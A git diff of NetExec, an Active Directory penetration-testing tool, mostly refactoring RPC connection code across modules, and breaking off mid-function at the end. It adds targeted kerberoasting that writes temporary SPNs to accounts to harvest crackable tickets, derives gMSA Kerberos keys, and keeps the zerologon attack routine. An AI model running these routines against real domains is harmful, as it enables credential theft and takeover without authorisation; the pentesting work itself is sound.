@@ class NXCModule: # Modified by azoxlpf to handle BrokenPipe/transport errors gracefully # Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I name = "ntlm_reflection" - description = "Attempt to check if the OS is vulnerable to CVE-2025-33073 (NTLM Reflection attack)" + description = "[REMOVED] This module has been integrated into the enum_cve module." supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True diff --git a/nxc/modules/presence.py b/nxc/modules/presence.py index cb40b2e9..1fccfe76 100644 --- a/nxc/modules/presence.py +++ b/nxc/modules/presence.py @@ -1,10 +1,11 @@ import re -from impacket.dcerpc.v5 import samr, tsch, transport +from impacket.dcerpc.v5 import samr, tsch from impacket.dcerpc.v5 import tsts as TSTS -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY from contextlib import suppress import traceback from nxc.helpers.misc import CATEGORY +from nxc.helpers.rpc import NXCRPCConnection class NXCModule: @@ -39,36 +40,19 @@ class NXCModule: context.log.fail(str(e)) context.log.debug(traceback.format_exc()) - def get_dce_rpc(self, target, string_binding, dce_binding, connection): - # Create a DCE/RPC transport object with the specified string binding - rpctransport = transport.DCERPCTransportFactory(string_binding) - rpctransport.setRemoteHost(target) - rpctransport.set_credentials( - connection.username, - connection.password, - connection.domain, - connection.lmhash, - connection.nthash, - aesKey=connection.aesKey, + def get_dce_rpc(self, named_pipe, dce_binding, connection, target_ip=None, auth_level=None): + return NXCRPCConnection(connection).connect( + named_pipe, + dce_binding, + target_ip=target_ip, + auth_level=auth_level or RPC_C_AUTHN_LEVEL_PKT_PRIVACY, ) - rpctransport.set_kerberos(connection.kerberos, connection.kdcHost) - - # Connect to the DCE/RPC endpoint - dce = rpctransport.get_dce_rpc() - if connection.kerberos: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - dce.set_credentials(*rpctransport.get_credentials()) - dce.connect() - dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) - dce.bind(dce_binding) - return dce def enumerate_admin_users(self, context, connection): admin_users = [] try: - string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]" - dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection) + dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost) except Exception as e: context.log.fail(f"Failed to connect to SAMR: {e}") context.log.debug(traceback.format_exc()) @@ -174,9 +158,7 @@ class NXCModule: def check_scheduled_tasks(self, context, connection, admin_users): """Checks scheduled tasks over rpc.""" try: - target = connection.remoteName if connection.kerberos else connection.host - stringbinding = f"ncacn_np:{target}[\\pipe\\atsvc]" - dce = self.get_dce_rpc(target, stringbinding, tsch.MSRPC_UUID_TSCHS, connection) + dce = self.get_dce_rpc(r"\atsvc", tsch.MSRPC_UUID_TSCHS, connection) # Also extract non admins where we can get the password self.non_admins = [] @@ -200,8 +182,7 @@ class NXCModule: non_admin_sids.add(sid.group(1)) if non_admin_sids: - string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]" - dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection) + dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost) # Get Domain Handle server_handle = samr.hSamrConnect2(dce)["ServerHandle"] diff --git a/nxc/modules/printnightmare.py b/nxc/modules/printnightmare.py index 253a5580..3028ebb5 100644 --- a/nxc/modules/printnightmare.py +++ b/nxc/modules/printnightmare.py @@ -1,17 +1,13 @@ from impacket import system_errors -from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes +from impacket.dcerpc.v5.rpcrt import DCERPCException, rpc_status_codes from impacket.structure import Structure -from impacket.dcerpc.v5 import transport, rprn +from impacket.dcerpc.v5 import rprn +from nxc.helpers.rpc import NXCRPCConnection from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR from impacket.dcerpc.v5.rprn import checkNullString, STRING_HANDLE, PBYTE_ARRAY from nxc.helpers.misc import CATEGORY -KNOWN_PROTOCOLS = { - 135: {"bindstr": r"ncacn_ip_tcp:%s[135]"}, - 445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"}, -} - class NXCModule: """ @@ -27,7 +23,6 @@ class NXCModule: def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options - self.__string_binding = None self.port = None def options(self, context, module_options): @@ -37,35 +32,8 @@ class NXCModule: self.port = int(module_options["PORT"]) def on_login(self, context, connection): - # Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515) - target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain - stringbinding = rf"ncacn_np:{target}[\PIPE\spoolss]" - - context.log.info(f"Binding to {stringbinding!r}") - - rpctransport = transport.DCERPCTransportFactory(stringbinding) - - rpctransport.set_credentials( - connection.username, - connection.password, - connection.domain, - connection.lmhash, - connection.nthash, - connection.aesKey, - ) - - rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) - rpctransport.setRemoteHost(target) - rpctransport.set_dport(self.port) - try: - dce = rpctransport.get_dce_rpc() - if connection.kerberos: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - # Connect to spoolss named pipe - dce.connect() - # Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB - dce.bind(rprn.MSRPC_UUID_RPRN) + dce = NXCRPCConnection(connection).connect(r"\spoolss", rprn.MSRPC_UUID_RPRN) except Exception as e: context.log.fail(f"Failed to bind: {e}") return False diff --git a/nxc/modules/pso.py b/nxc/modules/pso.py index 8f2dbca7..16c1867a 100644 --- a/nxc/modules/pso.py +++ b/nxc/modules/pso.py @@ -8,7 +8,7 @@ class NXCModule: Module by @_sandw1ch """ name = "pso" - description = "Module to get the Fine Grained Password Policy/PSOs" + description = "[REMOVED] This module moved to the core option --pso" supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION diff --git a/nxc/modules/sccm-recon6.py b/nxc/modules/sccm-recon6.py index bae1682a..3e11b74b 100644 --- a/nxc/modules/sccm-recon6.py +++ b/nxc/modules/sccm-recon6.py @@ -1,9 +1,9 @@ import contextlib -from impacket.dcerpc.v5 import transport, rrp -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.dcerpc.v5 import rrp from impacket.dcerpc.v5.rpcrt import DCERPCException from nxc.helpers.misc import CATEGORY +from nxc.helpers.rpc import NXCRPCConnection from impacket.smbconnection import SMBConnection @@ -24,18 +24,9 @@ class NXCModule: connection.trigger_winreg() - rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") - rpc.set_smb_connection(connection.conn) - - if connection.kerberos: - rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) - dce = rpc.get_dce_rpc() - if connection.kerberos: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - + dce = None try: - dce.connect() - dce.bind(rrp.MSRPC_UUID_RRP) + dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP) # Open HKEY_LOCAL_MACHINE ans = rrp.hOpenLocalMachine(dce) @@ -47,7 +38,7 @@ class NXCModule: except DCERPCException: self.context.log.fail("No site Database found") except DCERPCException as e: - if "rpc_s_access_denied" in str(e): + if "rpc_s_access_denied" in str(e) or "ERROR_FILE_NOT_FOUND" in str(e): self.context.log.info(f"Probably not a primary site server or a distribution point: {e}") else: self.context.log.fail(f"Unexpected error: {e}") diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index 431566dc..023c00d9 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -44,7 +44,6 @@ class NXCModule: nxc smb -u -p -M schtask_as -o USER=Administrator CMD='dir \\\pwn' TASK='Legit Task' SILENTCOMMAND='True' nxc smb -u -p -M schtask_as -o USER=Administrator CMD=certreq CA='ADCS\whiteflag-ADCS-CA' TEMPLATE=User """ - self.logger = context.log self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = self.ca_name = self.template_name = None self.share = "C$" self.output_file_location = "\\Windows\\Temp" @@ -71,6 +70,7 @@ class NXCModule: self.template_name = module_options.get("TEMPLATE") def on_admin_login(self, context, connection): + self.logger = context.log if self.command_to_run is None: self.logger.fail("You need to specify a CMD to run") @@ -173,24 +173,15 @@ class NXCModule: self.logger.display("Connecting to the remote Service control endpoint") try: exec_method = TSCH_EXEC( - connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, - connection.smb_share_name, - connection.username, - connection.password, - connection.domain, - connection.kerberos, - connection.aesKey, - connection.host, - connection.kdcHost, - connection.hash, - self.logger, - connection.args.get_output_tries, - connection.args.share, - self.run_task_as, - self.command_to_run, - self.output_filename, - self.task_name, - self.output_file_location, + connection=connection, + logger=self.logger, + tries=connection.args.get_output_tries, + share=connection.args.share, + run_task_as=self.run_task_as, + run_cmd=self.command_to_run, + output_filename=self.output_filename, + task_name=self.task_name, + output_file_location=self.output_file_location, ) if self.show_output is False: diff --git a/nxc/modules/security-questions.py b/nxc/modules/security-questions.py index a1cfd5f3..801a29c1 100644 --- a/nxc/modules/security-questions.py +++ b/nxc/modules/security-questions.py @@ -1,9 +1,10 @@ -from impacket.dcerpc.v5 import samr, transport +from impacket.dcerpc.v5 import samr from impacket.nt_errors import STATUS_MORE_ENTRIES from impacket.dcerpc.v5.rpcrt import DCERPCException from json import loads from traceback import format_exc as traceback_format_exc from nxc.helpers.misc import CATEGORY +from nxc.helpers.rpc import NXCRPCConnection class NXCModule: @@ -46,24 +47,14 @@ class NXCModule: self.__nthash = context.hash[0] self.__lmhash = "00000000000000000000000000000000" - self.getSAMRResetInfo(context) - - def getSAMRResetInfo(self, context): - string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]" - rpc_transport = transport.DCERPCTransportFactory(string_binding) - rpc_transport.set_dport(445) - rpc_transport.setRemoteHost(self.__targetIp) - - if hasattr(rpc_transport, "set_credentials"): - # This method exists only for selected protocol sequences. - rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, - self.__nthash, self.__aesKey) - rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost) + self.getSAMRResetInfo(context, connection) + def getSAMRResetInfo(self, context, connection): + dce = None + server_handle = None + domain_handle = None try: - dce = rpc_transport.get_dce_rpc() - dce.connect() - dce.bind(samr.MSRPC_UUID_SAMR) + dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR) # obtain server handle for samr connection resp = samr.hSamrConnect(dce) @@ -128,8 +119,11 @@ class NXCModule: context.log.debug(traceback_format_exc()) finally: - if domain_handle is not None: - samr.hSamrCloseHandle(dce, domain_handle) - if server_handle is not None: - samr.hSamrCloseHandle(dce, server_handle) + try: + if domain_handle is not None: + samr.hSamrCloseHandle(dce, domain_handle) + if server_handle is not None: + samr.hSamrCloseHandle(dce, server_handle) + except Exception as e: + context.log.debug(f"Error during SAMR cleanup: {e}") dce.disconnect() diff --git a/nxc/modules/spooler.py b/nxc/modules/spooler.py index 747ae6ed..a9971306 100644 --- a/nxc/modules/spooler.py +++ b/nxc/modules/spooler.py @@ -1,6 +1,6 @@ # https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py from impacket import uuid -from impacket.dcerpc.v5 import transport, epm +from impacket.dcerpc.v5 import epm from impacket.dcerpc.v5.rpch import ( RPC_PROXY_INVALID_RPC_PORT_ERR, RPC_PROXY_CONN_A1_0X6BA_ERR, @@ -9,11 +9,7 @@ from impacket.dcerpc.v5.rpch import ( ) from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from nxc.helpers.misc import CATEGORY - -KNOWN_PROTOCOLS = { - 135: {"bindstr": r"ncacn_ip_tcp:%s[135]"}, - 445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"}, -} +from nxc.helpers.rpc import NXCRPCConnection class NXCModule: @@ -41,21 +37,20 @@ class NXCModule: def on_login(self, context, connection): entries = [] - lmhash = getattr(connection, "lmhash", "") - nthash = getattr(connection, "nthash", "") - - self.__stringbinding = KNOWN_PROTOCOLS[self.port]["bindstr"] % connection.host - context.log.debug(f"StringBinding {self.__stringbinding}") - rpctransport = transport.DCERPCTransportFactory(self.__stringbinding) - rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash) - rpctransport.setRemoteHost(connection.host) - rpctransport.set_dport(self.port) - - if connection.kerberos: - rpctransport.set_kerberos(connection.kerberos, connection.kdcHost) + use_tcp = self.port == 135 try: - entries = self.__fetch_list(connection.kerberos, rpctransport) + rpc = NXCRPCConnection(connection, force_tcp=use_tcp) + if use_tcp: + rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host) + else: + rpc.rpc_transport = rpc.create_smb_transport(r"\epmapper") + dce = rpc.rpc_transport.get_dce_rpc() + if connection.kerberos: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + dce.connect() + entries = list(epm.hept_lookup(None, dce=dce)) + dce.disconnect() except Exception as e: error_text = f"Protocol failed: {e}" context.log.critical(error_text) @@ -112,12 +107,3 @@ class NXCModule: context.log.debug(f"[Spooler] Received {num} endpoints") else: context.log.debug("[Spooler] No endpoints found") - - def __fetch_list(self, doKerberos, rpctransport): - dce = rpctransport.get_dce_rpc() - if doKerberos: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - dce.connect() - resp = epm.hept_lookup(None, dce=dce) - dce.disconnect() - return resp diff --git a/nxc/modules/zerologon.py b/nxc/modules/zerologon.py index 770d1afc..60439a1a 100644 --- a/nxc/modules/zerologon.py +++ b/nxc/modules/zerologon.py @@ -1,10 +1,11 @@ # everything is comming from https://github.com/dirkjanm/CVE-2020-1472 # credit to @dirkjanm # module by : @mpgn_x64 -from impacket.dcerpc.v5 import nrpc, epm, transport +from impacket.dcerpc.v5 import nrpc, epm from impacket.dcerpc.v5.rpcrt import DCERPCException import sys from nxc.helpers.misc import CATEGORY +from nxc.helpers.rpc import NXCRPCConnection from nxc.logger import nxc_logger # Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be necessary on average. @@ -26,7 +27,7 @@ class NXCModule: def on_login(self, context, connection): self.context = context - if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname, connection.host): + if self.perform_attack(connection, "\\\\" + connection.hostname, connection.host, connection.hostname, connection.host): self.context.log.highlight("VULNERABLE") self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472") try: @@ -43,17 +44,20 @@ class NXCModule: except Exception: self.context.log.debug("Error updating zerologon status in database") - def perform_attack(self, dc_handle, dc_ip, target_computer, remoteHost): + def perform_attack(self, connection, dc_handle, dc_ip, target_computer, remoteHost): # Keep authenticating until successful. Expected average number of attempts needed: 256. self.context.log.debug("Performing authentication attempts...") rpc_con = None try: binding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") - rpc_con_ = transport.DCERPCTransportFactory(binding.replace(remoteHost, dc_ip)) - rpc_con_.setRemoteHost(remoteHost) - rpc_con = rpc_con_.get_dce_rpc() - rpc_con.connect() - rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + string_binding = binding.replace(remoteHost, dc_ip) + rpc_con = NXCRPCConnection(connection).connect( + None, + nrpc.MSRPC_UUID_NRPC, + string_binding=string_binding, + set_remote_host=remoteHost, + anonymous_rpc=True, + ) for _attempt in range(MAX_ATTEMPTS): result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer) if result: diff --git a/nxc/netexec.py b/nxc/netexec.py old mode 100755 new mode 100644 index 18e9a9e2..f606e6e5 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -1,4 +1,5 @@ # PYTHON_ARGCOMPLETE_OK +import contextlib import sys from nxc.helpers.logger import highlight from nxc.helpers.misc import identify_target_file, display_modules @@ -17,6 +18,7 @@ from nxc.database import create_db_engine from concurrent.futures import ThreadPoolExecutor, as_completed import asyncio from nxc.helpers import powershell +import signal import shutil import os from os.path import exists @@ -67,7 +69,19 @@ async def start_run(protocol_obj, args, db, targets): # noqa: RUF029 nxc_logger.exception(f"Exception for target {targets[futures.index(future)]}: {future.exception()}") +def ctrl_c(sig, frame): + nxc_logger.debug("Got keyboard interrupt") + with contextlib.suppress(Exception): + if hasattr(nxc_console, "_live_stack") and nxc_console._live_stack: + for live in nxc_console._live_stack: + live.stop() + nxc_console.show_cursor(True) + nxc_logger.highlight("[!] Interrupted, exiting.") + os._exit(0) + + def main(): + signal.signal(signal.SIGINT, ctrl_c) first_run_setup(nxc_logger) args, version_info = gen_cli_args() @@ -209,8 +223,6 @@ def main(): try: asyncio.run(start_run(protocol_object, args, db, targets)) - except KeyboardInterrupt: - nxc_logger.debug("Got keyboard interrupt") finally: db_engine.dispose() diff --git a/nxc/protocols/ftp.py b/nxc/protocols/ftp.py index eadb96a1..d91bcb68 100644 --- a/nxc/protocols/ftp.py +++ b/nxc/protocols/ftp.py @@ -23,17 +23,6 @@ class ftp(connection): } ) - def proto_flow(self): - self.proto_logger() - if self.create_conn_obj() and self.login(): - if hasattr(self.args, "module") and self.args.module: - self.load_modules() - self.logger.debug("Calling modules") - self.call_modules() - else: - self.logger.debug("Calling command arguments") - self.call_cmd_args() - def enum_host_info(self): welcome = self.conn.getwelcome() self.logger.debug(f"Welcome result: {welcome}") @@ -165,7 +154,7 @@ class ftp(connection): self.logger.fail(f"Failed to upload file. {local_file} does not exist locally.") return False # Check if the file was uploaded - if self.conn.size(remote_file) > 0: + if self.conn.size(remote_file) is not None: self.logger.success(f"Uploaded: {local_file} to {remote_file}") else: self.logger.fail(f"Failed to upload: {local_file} to {remote_file}") diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 8b271f67..67b2bcfd 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -14,7 +14,6 @@ from termcolor import colored from dns import resolver from dateutil.relativedelta import relativedelta as rd -from Cryptodome.Hash import MD4 from OpenSSL.SSL import SysCallError from bloodhound.ad.authentication import ADAuthentication from bloodhound.ad.domain import AD @@ -28,20 +27,21 @@ from impacket.dcerpc.v5.samr import ( SAM_MACHINE_ACCOUNT, ) from impacket.krb5 import constants +from impacket.krb5.crypto import generate_kerberos_keys from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError from impacket.krb5.ccache import CCache from impacket.krb5.types import Principal, KerberosException from impacket.ldap import ldap as ldap_impacket from impacket.ldap import ldaptypes from impacket.ldap import ldapasn1 as ldapasn1_impacket -from impacket.ldap.ldap import LDAPFilterSyntaxError +from impacket.ldap.ldap import LDAPFilterSyntaxError, MODIFY_REPLACE from impacket.smbconnection import SessionError from impacket.ntlm import getNTLMSSPType1 from nxc.config import process_secret, host_info_colors from nxc.connection import connection from nxc.helpers.bloodhound import add_user_bh -from nxc.helpers.misc import get_bloodhound_info, convert, d2b +from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument from nxc.logger import NXCAdapter from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB @@ -626,6 +626,7 @@ class ldap(connection): search_filter = (f"(|(objectSid={self.sid_domain}-512)" f"(objectSid={self.sid_domain}-519)" f"(objectSid={self.sid_domain}-544)" + "(objectSid=S-1-5-32-544)" "(objectSid=S-1-5-32-549)" "(objectSid=S-1-5-32-551))") attributes = ["distinguishedName"] @@ -648,6 +649,10 @@ class ldap(connection): for item in resp_parsed: if item: self.admin_privs = True + return + + # If nothing matched we are not admin + self.admin_privs = False def getUnixTime(self, t): t -= 116444736000000000 @@ -740,7 +745,7 @@ class ldap(connection): self.logger.debug(f"Dumping group: {self.args.groups}") # Resolve group DN and primaryGroupID (objectSid) - group_resp = self.search(f"(cn={self.args.groups})", ["distinguishedName", "objectSid"]) + group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid"]) group_parsed = parse_result_attributes(group_resp) if not group_parsed: @@ -768,7 +773,8 @@ class ldap(connection): else: for item in resp_parsed: # Display sAMAccountName or CN if sAMAccountName not present (could be a group) - self.logger.highlight(item["sAMAccountName"] if "group" not in item["objectClass"] else item["cn"]) + # Fallback to cn should sAMAccountName not be present (e.g. Service Principal Names) + self.logger.highlight(item.get("sAMAccountName", item["cn"]) if "group" not in item["objectClass"] else item["cn"]) else: # Display all groups self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}") @@ -965,57 +971,15 @@ class ldap(connection): def kerberoasting(self): if self.args.no_preauth_targets: - usernames = [] - for item in self.args.no_preauth_targets: - if os.path.isfile(item): - with open(item, encoding="utf-8") as f: - usernames.extend(line.strip() for line in f if line.strip()) - else: - usernames.append(item.strip()) - - skipped = [] - hashes = [] - - for spn in usernames: - base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip() - - if base_name.lower() == "krbtgt" or base_name.endswith("$"): - skipped.append(base_name) - continue - - if not self.username: - self.logger.fail("Likely executed without password flag. Please run the command with -p ''") - return - hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn) - if hashline: - hashes.append(hashline) - - if skipped: - self.logger.display(f"Skipping account: {', '.join(skipped)}") - if hashes: - self.logger.display(f"Total of records returned {len(hashes)}") - else: - self.logger.highlight("No entries found!") - - for line in hashes: - self.logger.highlight(line) - if self.args.kerberoasting: - with open(self.args.kerberoasting, "a+", encoding="utf-8") as f: - f.write(line + "\n") + self.roast_no_preauth() return - if self.args.kerberoast_account: - target_accounts = [] - for item in self.args.kerberoast_account: - if os.path.isfile(item): - try: - with open(item, encoding="utf-8") as f: - target_accounts.extend(line.strip() for line in f if line.strip()) - except Exception as e: - self.logger.fail(f"Failed to read file '{item}': {e}") - else: - target_accounts.append(item.strip()) - + if self.args.targeted_kerberoast: + target_users = parse_argument(self.args.targeted_kerberoast) + user_filter = "".join(f"(sAMAccountName={user})" for user in target_users) + searchFilter = f"(&(objectCategory=person)(!(servicePrincipalName=*))(|{user_filter}))" + elif self.args.kerberoast_account: + target_accounts = parse_argument(self.args.kerberoast_account) self.logger.info(f"Targeting specific accounts for kerberoasting: {', '.join(target_accounts)}") # build search filter for specific users @@ -1033,8 +997,10 @@ class ldap(connection): "pwdLastSet", "lastLogon", "objectClass", + "distinguishedName", ] - resp = self.search(searchFilter, attributes, 0) + + resp = self.search(searchFilter, attributes) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Search Filter: {searchFilter}") self.logger.debug(f"Attributes: {attributes}") @@ -1042,26 +1008,43 @@ class ldap(connection): if not resp_parsed: self.logger.highlight("No entries found!") - else: - # Filter disabled accounts - disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] - for account in disabled_accounts: - self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") + return - # Get all enabled accounts - enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] + disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] + for account in disabled_accounts: + self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") + + enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] + + if self.args.targeted_kerberoast: + self.logger.success(f"Found {len(enabled)} enabled users without SPN.") + else: self.logger.display(f"Total of records returned {len(enabled):d}") - for user in enabled: - # Perform Kerberos Attack + for user in enabled: + spn_added = False + + if self.args.targeted_kerberoast: + try: + self.ldap_connection.modify(user["distinguishedName"], {"servicePrincipalName": [(MODIFY_REPLACE, [f"cifs/{user['sAMAccountName']}"])]}) + self.logger.debug(f"SPN 'cifs/{user['sAMAccountName']}' added for {user['sAMAccountName']}") + spn_added = True + except ldap_impacket.LDAPSessionError as e: + if "insufficientAccessRights" in str(e) or "INSUFF_ACCESS_RIGHTS" in str(e): + self.logger.fail(f"No write access to {user['sAMAccountName']}'s SPN attribute") + else: + self.logger.fail(f"LDAP error for {user['sAMAccountName']}: {e}") + self.logger.debug("Traceback", exc_info=True) + continue + + try: TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) self.logger.debug(f"TGT: {TGT}") if TGT: - downLevelLogonName = f"{self.targetDomain}\\{user['sAMAccountName']}" try: principalName = Principal() principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value - principalName.components = [downLevelLogonName] + principalName.components = [f"{self.targetDomain}\\{user['sAMAccountName']}"] tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( principalName, @@ -1076,22 +1059,61 @@ class ldap(connection): oldSessionKey, sessionKey, user["sAMAccountName"], - downLevelLogonName, + f"{self.targetDomain}\\{user['sAMAccountName']}", is_computer="computer" in user.get("objectClass", []) ) pwdLastSet = "" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"])))) lastLogon = "" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"])))) self.logger.display(f"sAMAccountName: {user['sAMAccountName']}, memberOf: {user.get('memberOf', [])}, pwdLastSet: {pwdLastSet}, lastLogon: {lastLogon}") - self.logger.highlight(f"{out}") + self.logger.highlight(out) if self.args.kerberoasting: with open(self.args.kerberoasting, "a+") as hash_kerberoasting: hash_kerberoasting.write(out + "\n") except Exception as e: self.logger.debug(f"Exception: {e}", exc_info=True) - self.logger.fail(f"Principal: {downLevelLogonName} - {e}") + self.logger.fail(f"Principal: {self.targetDomain}\\{user['sAMAccountName']} - {e}") else: self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}") + finally: + if spn_added: + try: + self.ldap_connection.modify(user["distinguishedName"], {"servicePrincipalName": [(MODIFY_REPLACE, [])]}) + self.logger.debug(f"SPN removed for {user['sAMAccountName']}") + except Exception as cleanup_error: + self.logger.fail(f"Failed to remove SPN for {user['sAMAccountName']}: {cleanup_error}") + + def roast_no_preauth(self): + usernames = parse_argument(self.args.no_preauth_targets) + + skipped = [] + hashes = [] + + for spn in usernames: + base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip() + + if base_name.lower() == "krbtgt" or base_name.endswith("$"): + skipped.append(base_name) + continue + + if not self.username: + self.logger.fail("Likely executed without password flag. Please run the command with -p ''") + return + hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn) + if hashline: + hashes.append(hashline) + + if skipped: + self.logger.display(f"Skipping account: {', '.join(skipped)}") + if hashes: + self.logger.display(f"Total of records returned {len(hashes)}") + else: + self.logger.highlight("No entries found!") + + for line in hashes: + self.logger.highlight(line) + with open(self.args.kerberoasting, "a+") as f: + f.write(line + "\n") def query(self): """ @@ -1308,16 +1330,26 @@ class ldap(connection): principal_with_read = resp_parsed[0]["sAMAccountName"] # Get the password - passwd = "" + rc4 = "" + aes128 = aes256 = "" if "msDS-ManagedPassword" in acc: - blob = MSDS_MANAGEDPASSWORD_BLOB() - blob.fromString(acc["msDS-ManagedPassword"]) - currentPassword = blob["CurrentPassword"][:-2] - ntlm_hash = MD4.new() - ntlm_hash.update(currentPassword) - passwd = hexlify(ntlm_hash.digest()).decode("utf-8") - self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} NTLM: {passwd:<36} PrincipalsAllowedToReadPassword: {principal_with_read}") - return True + rc4, aes128, aes256 = self.gmsa_compute_secrets(acc["msDS-ManagedPassword"], acc["sAMAccountName"]) + self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} NTLM: {rc4:<36} PrincipalsAllowedToReadPassword: {principal_with_read}") + if aes128 and aes256: + self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} aes128-cts-hmac-sha1-96: {aes128}") + self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} aes256-cts-hmac-sha1-96: {aes256}") + + def gmsa_compute_secrets(self, password_data: bytes, sAMAccountName: str): + """Generate RC4, AES128, and AES256 keys for a GMSA account based on the provided password data and username.""" + blob = MSDS_MANAGEDPASSWORD_BLOB() + blob.fromString(password_data) + current_password = hexlify(blob["CurrentPassword"].rstrip(b"\x00")).decode() + + keys = generate_kerberos_keys(hex_pass=current_password, user=sAMAccountName, domain=self.targetDomain) + rc4 = hexlify(keys[constants.EncryptionTypes.rc4_hmac.value].contents).decode() + aes128 = hexlify(keys[constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value].contents).decode() + aes256 = hexlify(keys[constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value].contents).decode() + return rc4, aes128, aes256 def decipher_gmsa_name(self, domain_name=None, account_name=None): # https://aadinternals.com/post/gmsa/ @@ -1334,60 +1366,50 @@ class ldap(connection): return str_hash def gmsa_convert_id(self): - if self.args.gmsa_convert_id: - if len(self.args.gmsa_convert_id) != 64: - self.logger.fail("Length of the gmsa id not correct :'(") - else: - # getting the gmsa account - search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" - gmsa_accounts = self.ldap_connection.search( - searchBase=self.baseDN, - searchFilter=search_filter, - attributes=["sAMAccountName"], - sizeLimit=0, - ) - gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts) - if 